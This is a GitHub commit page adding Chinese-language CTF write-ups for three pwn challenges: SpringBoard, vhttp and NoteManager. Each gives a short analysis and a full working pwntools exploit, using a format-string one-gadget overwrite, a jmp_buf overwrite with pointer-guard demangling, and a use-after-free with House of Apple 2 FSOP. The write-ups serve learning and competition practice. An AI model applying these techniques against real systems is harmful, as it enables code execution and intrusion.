Skip to content

Commit

Permalink
add posts including dasjuly, matrix and shanghai
Browse files Browse the repository at this point in the history
  • Loading branch information
RocketMaDev committed Jul 28, 2024
1 parent ab26865 commit 2552ede
Show file tree
Hide file tree
Showing 22 changed files with 815 additions and 0 deletions.
74 changes: 74 additions & 0 deletions source/_posts/dasjuly2024/SpringBoard.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
---
title: DASCTF 2024暑期挑战赛 - SpringBoard
date: 2024/7/28 14:10:00
updated: 2024/7/28 14:10:00
tags:
- noob
excerpt: 通过格式化字符串漏洞,利用libc泄露和oneGadget实现远程代码执行。
---

## 文件属性

|属性 ||
|------|------|
|Arch |x64 |
|RELRO|Partial|
|Canary|off |
|NX |on |
|PIE |off |
|strip |no |
|libc |2.23-0ubuntu11.3|

## 解题思路

{% note green fa-heart %}
感谢 *N0wayBack* 的脚本用以复现
{% endnote %}

简单的格式化字符串,可以执行5次漏洞,直接把函数返回地址写成oneGadget就可以

## EXPLOIT

```python
from pwn import *
context.terminal = ['tmux','splitw','-h']
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './SpringBoard'

def payload(lo:int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh)
else:
sh = remote('', 9999)
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

# payload 1, leak libc and stack
sh.sendlineafter(b'keyword', b'FLAG%6$pFLAG%9$p')
sh.recvuntil(b'FLAG')
stack = int(sh.recv(14), 16) - 0xd8
success(GOLD_TEXT(f'Leak retStackAddr: {stack:#x}'))
sh.recvuntil(b'FLAG')
libcBase = int(sh.recv(14), 16) - 240 - libc.symbols['__libc_start_main']
success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}'))

# payload 2-5, write one gadget on ret addr
oneGadget = 0xf1247
ogg = libcBase + oneGadget
sh.sendlineafter(b'keyword', f'%{stack & 0xffff}c%11$hn'.encode())
sh.sendlineafter(b'keyword', f'%{ogg & 0xffff}c%37$hn'.encode())
sh.sendlineafter(b'keyword', f'%{(stack + 2) & 0xffff}c%11$hn'.encode())
sh.sendlineafter(b'keyword', f'%{(ogg >> 16) & 0xff}c%37$hhn'.encode())

sh.clean()
sh.interactive()
```

{% folding purple::... %}
~~非预期秒了~~

<img src="/assets/dasjuly2024/unexpected.png" width="50%" height="50%">
{% endfolding %}

125 changes: 125 additions & 0 deletions source/_posts/dasjuly2024/vhttp.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
---
title: DASCTF 2024暑期挑战赛 - vhttp
date: 2024/7/25 23:05:00
updated: 2024/7/25 23:05:00
tags:
- httpd
- setjmp
thumbnail: /assets/dasjuly2024/flagOnStack.png
excerpt: 通过栈溢出和jmp_buf利用成功读取flag.txt。
---

## 文件属性

|属性 ||
|------|------|
|Arch |x64 |
|RELRO |Full |
|Canary|off |
|NX |on |
|PIE |off |
|strip |yes |
|libc |2.31-0ubuntu9.12|

## 解题思路

程序实现了一个简单的http服务器,没有路径穿越符漏洞;不能直接打开目录下的flag.txt,
是由`strstr`拦截的;不能使用`%2F`这样的转义字符串,服务器不支持。那就逆一下程序,
对于输入的三元组和键值对来说,都没有什么bug。但是主函数里只取用了`content-length`这一个标头,
跟到解析请求资源的函数里,发现程序会按`content-length`读入这么多的字节数,
并且没有做限制。观察栈上结构,在输入的`buf`之上是用于`longjmp``jmp_buf`
触发条件也有,因此尝试覆写之。程序通过特定字符串的判断,给了1次读取栈上内容的机会,
也给了`longjmp`的机会。

这道题采用了`fread`,不同于`read``fread`只有读取指定的长度后才会停止,
不像`read`只需要`send`结束就可以结束输入。那么就出现了一个问题:
`jmp_buf`的结构中RBP、RSP、RIP是受`fs:[0x30]`保护的,要想读取它们来解密`fs:[0x30]`就不能覆盖,
但是为了利用这个结构体却不能覆盖。难道要打rop?程序是没有返回的!
任何结果都是直接`exit`的。那么在栈上查找其他数据,发现还有一个`jmp_buf`:

```c
struct jmp_buf {
size_t rbx;
size_t rbp;
size_t r12;
size_t r13;
size_t r14;
size_t r15;
size_t rsp;
size_t rip;
...
};
```

![one more jmp_buf](/assets/dasjuly2024/oneMoreJmpbuf.png)

而这个`jmp_buf`是由程序使用了pthread库后创建线程带来的,其中的RBP是0,
那么RBP的位置可以直接获得`guard`(`fs:[0x30]`)的值,还可以获得一个主线程的栈地址。为了读取`flag.txt`
我们需要想方设法在栈上留一个`&'flag.txt'`,三元组是保存在`bss`上的,content是保存在子线程的栈上的,
而这个栈帧的值我们是不知道的,只有标头键值对中的最后一组会留在主线程的栈上。
那么只要最后写一个`flag.txt`的标头就可以做到,然后设置好RBP、RSP,将RIP设置为`0x401ec7`
就可以让程序读取`flag.txt`并打印flag。

![flag on stack](/assets/dasjuly2024/flagOnStack.png)
{% note tip fa-circle-info %}
温馨提示:与上图不是一个进程
{% endnote %}

![jump to ...](/assets/dasjuly2024/jumpto.png)

## EXPLOIT

```python
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.arch = 'amd64'
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './vhttp'

def payload(lo:int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh, 'b *0x401dd1')
else:
sh = remote('node5.buuoj.cn', 27536)
elf = ELF(EXE)

ADD_LINE = lambda s, cont: s + cont + '\r\n'

base = ADD_LINE('', 'GET / HTTP/1.0')
base = ADD_LINE(base, 'content-length: {}')
base = ADD_LINE(base, 'flag.txt: 0')
base = ADD_LINE(base, '')

toleak = base.format(512 + 0x100 + 8).encode()
sh.send(toleak)

toleak = b'\r\nuser=newbew'.ljust(512 + 0x100) + b'LEAK PTR'
sh.send(toleak) # leak the jmp_buf from pthread
sh.recvuntil(b'LEAK PTR')

encrypted = sh.recv(8)
stack = u64(sh.recv(6) + b'\0\0')

guard = 0
PTR_DEMANGLE = lambda reg: ((reg >> 17) | ((reg & 0x1ffff) << (64 - 17))) ^ guard
PTR_MANGLE = lambda reg: (((reg ^ guard) & 0x7fffffffffff) << 17) \
| (((reg ^ guard) & 0xffff800000000000) >> 64 - 17)

guard = PTR_DEMANGLE(u64(encrypted))
success(f'Leak ptr guard: {guard:#x}')
success(GOLD_TEXT(f'Leak stack: {stack:#x}'))

rbp = stack - 0xe + 0xe0 # now rbp points to &'flag.txt'
rbp += 0x3a0 # now rbp is "resolved file path"
tojump = b'&pass=v3rdant'.ljust(0x200) + p64(0) + p64(PTR_MANGLE(rbp)) + \
p64(0) * 4 + p64(PTR_MANGLE(rbp - 0x3e0)) + p64(PTR_MANGLE(0x401ec7))
tojump = tojump.ljust(0x308)
sh.send(tojump)

sh.recvuntil(b'DASCTF{')
flag = b'DASCTF{' + sh.recvuntil(b'}')
success(flag.decode())
```
171 changes: 171 additions & 0 deletions source/_posts/matrix2024/NoteManager.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
---
title: 矩阵杯2024 - NoteManager
date: 2024/7/27 16:30:00
updated: 2024/7/27 16:30:00
tags:
- linked list
- House of Apple 2
- libc2.35
thumbnail: /assets/matrix2024/notedel.png
excerpt: 通过链表的UAF漏洞,利用哈希碰撞和字符串长度差异,成功泄露libc和heap地址并获得shell。
---

## 文件属性

|属性 ||
|------|------|
|Arch |x64 |
|RELRO |Full |
|Canary|on |
|NX |on |
|PIE |on |
|strip |yes |
|libc |2.35-0ubuntu3.7|

## 解题思路

经典菜单题,但是有一个头节点作为“全局变量”,使用链表来存放各个节点。
判断两个节点是否相同有2个方法:比较哈希值和字符串内容。审计代码不难发现,
在删除节点时如果存在两个相同节点,就能产生uaf(以下配图暂时忽略哈希机制)

![note delete](/assets/matrix2024/notedel.png)

除了在新增时使用哈希和`strcmp`同时判断,其余操作只判断哈希是否相同,
那么如何找到一个哈希相同,而`strcmp`也相同的两个字符串呢?

> 一开始我的想法是哈希碰撞,爆了一晚上没爆出来,早上起来想到肯定不是这么做的
再次审计代码,发现有漏洞可循:

```c
...
// 读入title时长度是原长
pcVar2 = fgets(title,0x100,stdin);
...
// 计算哈希时长度是原长
hasher = hash(title);
for (cnote = *gnote; cnote != NULL; cnote = cnote->prev) {
// 判断strcmp时用的是原长
if ((cnote->hash == hasher) && (iVar1 = strcmp(cnote->title,title), iVar1 == 0)) {
...
// 但是做字符串拷贝的时候只取了0x1f长
strncpy((char *)note,title,0x1f);
...
```
由此可以得知,只要输入长度超过31的字符串,那么输入时就不会被判为相同,
同时它们的哈希值也是一样的,那么我们就能构造出上图的条件做uaf了
有了uaf就可以考虑怎么泄露了。首先输入的内容长度可以达到0x1000,
而稍后使用的`strdup`实际上会调用`malloc`产生chunk,size就是输入内容的长度,
因此可以很轻松地得到libc和heap基地址
最后起一个shell,用House of Apple 2打FSOP即可
> 一开始用onegadget,结果试了一圈都不行
edit时使用`strcpy`,所以需要一个`\0`一个`\0`地写
此外在造成uaf利用后,无法再写入2+个堆块,而想要利用uaf则需要2个堆块,
因此应一口气分配好相关堆块,最后利用uaf。以下是图示
![note add warning](/assets/matrix2024/noteadd.png)
## EXPLOIT
```python
from pwn import *
context.terminal = ['tmux','splitw','-h']
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
EXE = './NoteManager'
def payload(lo:int):
global sh
if lo:
sh = process(EXE)
if lo & 2:
gdb.attach(sh)
else:
sh = remote('', 9999)
libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6')
elf = ELF(EXE)
def addn(title:bytes, cont:bytes):
sh.sendlineafter(b'Choose', b'1')
sh.sendlineafter(b'title', title)
sh.sendlineafter(b'content', cont)
def deln(title:bytes):
sh.sendlineafter(b'Choose', b'2')
sh.sendlineafter(b'title', title)
def edit(title:bytes, cont:bytes):
sh.sendlineafter(b'Choose', b'3')
sh.sendlineafter(b'title', title)
sh.sendlineafter(b'content', cont)
def show() -> bytes:
sh.sendlineafter(b'Choose', b'4')
sh.recvuntil(b'option: ')
return sh.recvuntil(b'NoteManager', True)
def eout():
sh.sendlineafter(b'Choose', b'5')
PROTECT_PTR = lambda pos, ptr: (pos >> 12) ^ ptr
addn(b'root', b'!')
addn(b'fake file', b't'*0x100)
addn(b'0'*33, b'x'*0x18)
addn(b'0'*33, b'x'*0x500)
addn(b'1'*33, b'x'*0x28) # guard chunk to prevent 0x500-size chunk being merged
addn(b'1'*33, b'x')
addn(b'head', b'head')
deln(b'0'*33)
val = show()
# look for 4rd Title
idx = val.find(b'Title: ', 5)
idx = val.find(b'Title: ', idx + 5)
idx = val.find(b'Title: ', idx + 5)
heapBase = u64(val[idx + 7:idx + 12] + b'\0\0\0') << 12
success(GOLD_TEXT(f'Leak heapBase: {hex(heapBase)}'))
arena = 0x21ac80
idx = val.find(b'Content: ', idx)
mainArena = u64(val[idx + 9:idx + 15] + b'\0\0') - 0x60 # sub unsorted bin offset
libcBase = mainArena - arena
libc.address = libcBase
oneGadget = libcBase + 0x10d9c2
success(GOLD_TEXT(f'Leak libcBase: {hex(libcBase)}'))
def write0(content:bytes, offset:int):
for leng, b in enumerate(content):
if b == 0:
break
for i in range(7, leng, -1):
edit(b'fake file', b'0'*(offset + i) + b'\0')
edit(b'fake file', b'0'*offset + content)
write0(p64(heapBase + 0x360), 0xe0)
write0(p64(libc.symbols['_IO_wfile_jumps']), 0xd8)
write0(p64(0), 0xc0)
write0(p64(heapBase + 0x360), 0xa0)
write0(p64(libc.symbols['system']), 0x68)
write0(p64(0), 0x30)
write0(p64(1), 0x28)
write0(p64(0), 0x20)
write0(p64(0), 0x18)
write0(b' sh;\0', 0)
deln(b'root')
deln(b'1'*33)
edit(b'1'*33, p64(PROTECT_PTR(heapBase + 0x9c0, libc.symbols['_IO_list_all'])))
addn(b'adjusting', b'x')
addn(b'more adjust', p64(heapBase + 0x360))
eout()
sh.clean()
sh.interactive()
```

Loading

0 comments on commit 2552ede

Please sign in to comment.